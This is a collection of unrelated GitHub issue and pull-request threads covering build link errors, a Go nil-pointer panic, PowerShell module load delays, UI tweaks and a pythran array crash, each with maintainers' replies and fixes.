[ 74%] Building CXX object sherpa-onnx/csrc/CMakeFiles/sherpa-onnx-core.dir/text-utils.cc.o
[ 75%] Building CXX object sherpa-onnx/csrc/CMakeFiles/sherpa-onnx-core.dir/transpose.cc.o
[ 76%] Building CXX object sherpa-onnx/csrc/CMakeFiles/sherpa-onnx-core.dir/unbind.cc.o
[ 77%] Building CXX object sherpa-onnx/csrc/CMakeFiles/sherpa-onnx-core.dir/wave-reader.cc.o
[ 78%] Linking CXX shared library ../../lib/libsherpa-onnx-core.so
[ 78%] Built target sherpa-onnx-core
[ 80%] Building CXX object sherpa-onnx/csrc/CMakeFiles/sherpa-onnx-offline.dir/sherpa-onnx-offline.cc.o
[ 80%] Building CXX object sherpa-onnx/csrc/CMakeFiles/sherpa-onnx-microphone.dir/sherpa-onnx-microphone.cc.o
[ 81%] Building CXX object sherpa-onnx/csrc/CMakeFiles/sherpa-onnx.dir/sherpa-onnx.cc.o
[ 82%] Building CXX object sherpa-onnx/csrc/CMakeFiles/sherpa-onnx-microphone-offline.dir/sherpa-onnx-microphone-offline.cc.o
[ 83%] Linking CXX executable ../../bin/sherpa-onnx-offline
[ 84%] Building CXX object sherpa-onnx/csrc/CMakeFiles/sherpa-onnx-microphone-offline.dir/microphone.cc.o
../../_deps/onnxruntime-src/lib/libonnxruntime_providers_cuda.so: undefined reference to `Provider_GetHost'
collect2: error: ld returned 1 exit status
make[2]: *** [bin/sherpa-onnx-offline] Error 1
make[1]: *** [sherpa-onnx/csrc/CMakeFiles/sherpa-onnx-offline.dir/all] Error 2
make[1]: *** Waiting for unfinished jobs....
[ 85%] Building CXX object sherpa-onnx/csrc/CMakeFiles/sherpa-onnx-microphone.dir/microphone.cc.o
[ 86%] Linking CXX executable ../../bin/sherpa-onnx-microphone-offline
../../_deps/onnxruntime-src/lib/libonnxruntime_providers_cuda.so: undefined reference to `Provider_GetHost'
collect2: error: ld returned 1 exit status
make[2]: *** [bin/sherpa-onnx-microphone-offline] Error 1
make[1]: *** [sherpa-onnx/csrc/CMakeFiles/sherpa-onnx-microphone-offline.dir/all] Error 2
[ 87%] Linking CXX executable ../../bin/sherpa-onnx-microphone
[ 88%] Linking CXX executable ../../bin/sherpa-onnx
../../_deps/onnxruntime-src/lib/libonnxruntime_providers_cuda.so: undefined reference to `Provider_GetHost'
collect2: error: ld returned 1 exit status
make[2]: *** [bin/sherpa-onnx-microphone] Error 1
make[1]: *** [sherpa-onnx/csrc/CMakeFiles/sherpa-onnx-microphone.dir/all] Error 2
../../_deps/onnxruntime-src/lib/libonnxruntime_providers_cuda.so: undefined reference to `Provider_GetHost'
collect2: error: ld returned 1 exit status
make[2]: *** [bin/sherpa-onnx] Error 1
make[1]: *** [sherpa-onnx/csrc/CMakeFiles/sherpa-onnx.dir/all] Error 2
make: *** [all] Error 2

I checked the missing symbol
(sherpa_hotword) [sunty@3090 lib]$ pwd
/home/sunty/workspace/k2_env/sherpa-onnx/build/_deps/onnxruntime-src/lib
(sherpa_hotword) [sunty@3090 lib]$ nm --dynamic ./libonnxruntime_providers_shared.so
                 w __cxa_finalize
                 w __gmon_start__
                 w _ITM_deregisterTMCloneTable
                 w _ITM_registerTMCloneTable
0000000000001110 T Provider_GetHost
0000000000001120 T Provider_SetHost
0000000000000000 A VERS_1.0

@sty1992928
Could you please try
https://github.com/k2-fsa/sherpa-onnx/pull/249
It should fix your problem. If not, please post the complete logs when you are trying #249

It works, thanks a lot!


ci(fig): update autocomplete spec automatically

Closes #1118

Great! Ping me if it happens to fail!


updateZones() panic: runtime error: invalid memory address or nil pointer dereference

Getting panic error while updating zones.
Maybe a null ip on a client on omada... We have a few of those
`[INFO] plugin/omada: logging in...
[INFO] plugin/omada: found '1' sites: [MySite]
[INFO] plugin/omada: update: updating zones...
panic: runtime error: invalid memory address or nil pointer dereference
[signal SIGSEGV: segmentation violation code=0x1 addr=0x0 pc=0x563220]
goroutine 1 [running]:
net.networkNumberAndMask(0xc000bf64f0?)
/usr/local/go/src/net/ip.go:498
net.(*IPNet).Contains(0xc000bf64f0?, {0xc0008e6930, 0x10, 0x19?})
/usr/local/go/src/net/ip.go:522 +0x27
github.com/dougbw/coredns_omada.(*Omada).updateZones(0xc0002fe480, {0x1?, 0x21d806a?})
/coredns_omada/update.go:141 +0x12c6
github.com/dougbw/coredns_omada.setup(0xc000052990)
/coredns_omada/setup.go:52 +0x6cb
github.com/coredns/caddy.executeDirectives(0xc00032c400, {0x7fff5f1eaecc, 0x15}, {0x3749d40, 0x35, 0x203000?}, {0xc00031bd00, 0x1, 0x8?}, 0x0)
/go/pkg/mod/github.com/coredns/caddy@v1.1.1/caddy.go:661 +0x5dd
github.com/coredns/caddy.ValidateAndExecuteDirectives({0x26becb8?, 0xc00070cb80}, 0x8?, 0x0)
/go/pkg/mod/github.com/coredns/caddy@v1.1.1/caddy.go:612 +0x3ec
github.com/coredns/caddy.startWithListenerFds({0x26becb8, 0xc00070cb80}, 0xc00032c400, 0x0)
/go/pkg/mod/github.com/coredns/caddy@v1.1.1/caddy.go:515 +0x272
github.com/coredns/caddy.Start({0x26becb8, 0xc00070cb80})
/go/pkg/mod/github.com/coredns/caddy@v1.1.1/caddy.go:472 +0xe5
github.com/coredns/coredns/coremain.Run()
/coredns/coremain/run.go:66 +0x1cd
main.main()
/coredns/coredns.go:12 +0x17`

It looks like the code is failing when checking to see if a particular client IP address exists within a subnet range. I am guessing this is caused by a client having an IPv6 address as I can see the code would not handle this scenario (and it was never tested with IPv6 at all).  I will do some investigation and see if I can reproduce/resolve the issue.

Let me know if you need access to my controller to debug.

I have just pushed a release which I think will address the issue by skipping over clients with null IPv4 addresses - The original code would crash when attempting to parse the null address - https://github.com/dougbw/coredns_omada/releases/tag/1.4.1
Keep in mind that this plugin does not support IPv6 DNS, I can't confirm whether IPv6 is the reason for your controller returning null IP addresses as I have not configured my network for IPv6 so have no means to validate this.


allow specifying path to join field value

Coverage decreased (-1.1%) to 96.429% when pulling 24377f92e3bb0c65e8a78665d6c81e8a5e402c4b on update-join-field-config into 4eb8a524a16847aa6c5c51fc193b745530f5766b on main.


+str Add startAfterNrOfConsumers to BroadcastHub.

Refs: https://github.com/akka/akka/issues/28327

So I had a quick look into this and it appears to be the same as the equivalent upstream akka PR and it was merged there so there shouldn't be any problems. Only question arising from https://github.com/apache/incubator-pekko/issues/261 is whether for Pekko 1.1 BroadcastHub.sink should default to startAfterNrOfConsumers = 1.
Ill have a proper look in the next couple days.

Fail is https://github.com/apache/incubator-pekko/issues/276
Not relevant.

@mdedetrich would you like give another  look, thanks

I think this code is fine as it was merged into akka too. let me merge it to keep the pr queue shorter.


Notebook find doesn't update

have MD cell with context below
search for "F8"
type while at the first match
use arrow keys to go to next match
🐛 matches are off

### Some markdown

Issue Type: <b>Bug</b>

Using a GH Issues notebook.

1) I have a notebook with multiple cells referencing a macro. Change the name of the macro so that all cells using it show an error.
2) F8 repeated
-> From time to time, cells that have the keyboard focus are not revealed correctly.
-> Sometime,dddd the F8 problem zone gets stuck. I.e. while the keyboard focus moves forward the cell with the F8 problem zone stays in place.
-> When scrolling a cell with a F8 problem zone out of sight and then F8 again, the two problems become severe.

VS Code version: Code - Insiders 1.46.0-insider (da3bf754c3c0eabda1dc80ed9d627679ee560697, 2020-05-19T10:04:14.981Z)
OS version: Darwin x64 18.7.0
Remote OS version: Linux x64 5.3.0-1020-azure

yup, auto search is not hooked up with it yet.


Latest dbatools release (0.9.24) takes significantly longer to import than 0.8.947

On my workstation it takes 2 seconds to import the latest dbatools. 0.8.947 loaded without any perceptible delay.
On a server (WS2012R2, PowerShell 4, 8 vCPU) running about 20% CPU utilization Import-Module dbatools takes 37 seconds! I have closed and reopened fresh PowerShell console instances and the timing is consistently 37+ seconds.

hey @gwojan - thanks for the report! Can you do a -verbose and see where it sits?

Okay... I've tested multiple versions on my laptop going back from 0.9.24 to 0.8.974 and there doesn't appear to be any major difference in import times - I guess I wasn't paying close attention two the 2 second import time and I was taking advantage of implicit module import. Here are the first few lines of verbose output:
PS C:\Users\bubba> Import-Module dbatools -Verbose
VERBOSE: Loading module from path 'C:\Program Files\WindowsPowerShell\Modules\dbatools\0.9.24\dbatools.psd1'.
VERBOSE: Loading 'FormatsToProcess' from path 'C:\Program
Files\WindowsPowerShell\Modules\dbatools\0.9.24\xml\dbatools.Format.ps1xml'.
VERBOSE: Populating RepositorySourceLocation property for module dbatools.
VERBOSE: Loading module from path 'C:\Program Files\WindowsPowerShell\Modules\dbatools\0.9.24\dbatools.psm1'.
VERBOSE: Exporting function 'Connect-AsServer'.
VERBOSE: Exporting function 'Connect-SqlInstance'.
The load delay occurs right after the line in italics is rendered.
Here's the first few lines of verbose output from the server:
PS C:\Users\bubba> Import-Module dbatools -Verbose
VERBOSE: Loading module from path 'C:\Program Files\WindowsPowerShell\Modules\dbatools\dbatools.psd1'.
VERBOSE: Loading 'FormatsToProcess' from path 'C:\Program Files\WindowsPowerShell\Modules\dbatools\xml\dbatools.Format.ps1xml'.
VERBOSE: Loading module from path 'C:\Program Files\WindowsPowerShell\Modules\dbatools\dbatools.psm1'.
VERBOSE: Exporting function 'Connect-AsServer'.
Notice this line from my workstation, in bold above, is not written in the verbose server output:
VERBOSE: Populating RepositorySourceLocation property for module dbatools.
Also, the delay occurs before the VERBOSE: Loading module from path 'C:\Program Files\WindowsPowerShell\Modules\dbatools\0.9.24\dbatools.psm1'. is written to the console.
The server is not Internet connected. Is there a chance when dbatools is loading it's trying to reach out and touch someone and the delay is that connection attemp timeout? ;-)

I also noticed there is a \bin\projects directory with project source code being included in the 0.9.x releases I've installed.

Ah. That might be it - the wait could be the CLR timeout.
Can you try cloning the master branch and importing that on the server?

Master should be unsigned

master is still signed - it's just authenticode signed and not fully catalog signed (neither is the Gallery)
I have offline servers and load in 3-10 seconds - @powerdbaklaas had a similar issue that had to do with the local and domain ExecutionPolicy. He linked out to an article by Tobias Weltner. I'll find it again once I wake up 😌

Yes we discussed it here: https://github.com/sqlcollaborative/dbatools/issues/779
And Klaas linked to: http://www.powertheshell.com/understanding-execution-policy/

@potatoqualitee That was it! The server execution policy was set to RemoteSigned. Setting execution policy to Bypass seems to resolve the issue. I'm not sure how I missed the previously reported issue -- I guess I need to work on my GitHub search-fu... 😉
Thanks again for the help! 😃

So happy that helped! I'll include this in a FAQ - it is hard to find. I found it by searching for ExecutionPolicy in the closed issues so it's reasonable you didn't find it ;)


[UI] add balance and price in dollar

Added balance in dollar with move over for price. Maybe interesting for the future to add dropdown menu with more Fiat prices.

Nice PR! I tried this out but I'm seeing NAN for some reason... When I hover over the label, I can see the correct fiat price though...

Maybe you haven't committed all new code. I don't see a definition of formatCurrency for example

Fixed!

LGTM


Option to prefer zooming on scrolling

Hi,
After upgrading from vis.js to timeline-plus,
I have a little problem because of the change in core.js, in line 220:
      if (this.options.zoomKey && event[this.options.zoomKey]) return;
in vis.js the same line is : (line 206)
    if (!this.options.zoomKey || event[this.options.zoomKey]) return;
This change broke the option to scroll in groups panel and zooming in center panel as default, without using zoomKey, when verticalScroll is set to true.
So what is the best solution to prefer zooming on scrolling in center panel without using a zoomKey?
I thought of adding an option and if so the onMouseWheel function will break if this option set to true.

Would a preferZoom option do the job for you? I can add it very easily to be like:
if (this.options.preferZoom) {
   if (!this.options.zoomKey || event[this.options.zoomKey]) return;
} else {
   if (this.options.zoomKey && event[this.options.zoomKey]) return
}

Yeah i think it will be great,
I opened a pull request with yours solution, hope its fine enough to be merged.
Tnx!

Closed with #85


favicon

need a lil baby image for browser tabs

Here is a bunch. Do these work? It's the little home icon.
Buildabudget_favicon.ico.zip

This will work!

https://github.com/open-austin/budgetparty/commit/c67d0a8220ff885fc390ff4039fca2774973a1a2


Warn (and confirm interactively) if user deploy "libchrome"

libchrome is a core library of the ChromeOS, and it is frequently updated incompatible way. Thus the user deploy a different version of libchrome, the DUT can be easily bricked.
If lium deploy finds libchrome in the packages list, it can warn user that something like "This can brick the DUT, do you really want to deploy libchrome? [Yes/No]"
And it also recommend user to sync the DUT's image version to the local cros-sdk version.

I recommend not to do this interactively and just fail by default (and ask them to append -f), to follow the unix command line standards.


Crash/hang for some numpy arrays?

I'm struggling with problems related to #842 and was working on test-cases to isolate the behaviour, when I stumbled across a bug that seems very weird to me.
Two almost identical arrays - one runs without problems, the other crashes. The difference must be very subtle, because every aspect I could think of checking is exactly equal.
I'm on latest commit as of yesterday (https://github.com/serge-sans-paille/pythran/commit/bb977467e42a36d393df6bad4d3a459d86defbb9), Windows 10, Python 3.6.6, MSVC 2017 Community 15.8.2, IPython 6.5.0.
Test function:
%%pythran
#pythran export myfunc(float[][])
#pythran export myfunc(float[::,:])
import numpy as np

def myfunc(x):
    numpoints = x.shape[0]
    res = np.zeros((numpoints, 2), dtype=float)
    for i in range(numpoints):
        res[i, 0] = x[i, :].min()
        res[i, 1] = x[i, :].max()
    return res

Execution:
The first call always runs successfully (with any combination of uncommenting the lines for x), and the second always hangs or crashes -- unless df = df.astype(float) is commented out (note that this command shouldn't do anything as xx gets cast to float in any case!).
import pandas as pd
import numpy as np
N = 20
df = pd.DataFrame(np.random.randint(1e3, 2e3, (N, 6)),
                  columns=['x1', 'x2', 'x3', 'y1', 'y2', 'y3'])
x = df.filter(regex='x').astype(float).values
# x = np.asfortranarray(x)
# x = np.ascontiguousarray(x)
# x = x.copy()
print(myfunc(x)[0])
print('works!')

df = df.astype(float) # without this line, things run fine
xx = df.filter(regex='x').astype(float).values

print(f'dtype equal:   {x.dtype == xx.dtype}', f'strides equal: {x.strides == x.strides}',
      f'shape equal:   {x.shape == xx.shape}', f'flags equal:   {x.flags == xx.flags}',
      f'values equal:  {(x == xx).all(axis=None)}', sep='\n')
myfunc(xx) # either hangs or crashes!

@serge-sans-paille Has this been reproducible for you, or did I manage to make a mistake somewhere?

I just checked and saw a nice message on stdout:
reshaped array are not supported

and I get a crash on the second one. So yes! I can reproduce

@h-vetinari please confirm #1014 fixes your issue. If so I'm releasing after the merge.

@serge-sans-paille Can confirm that #1014 fixes this. Thanks a lot for the quick response!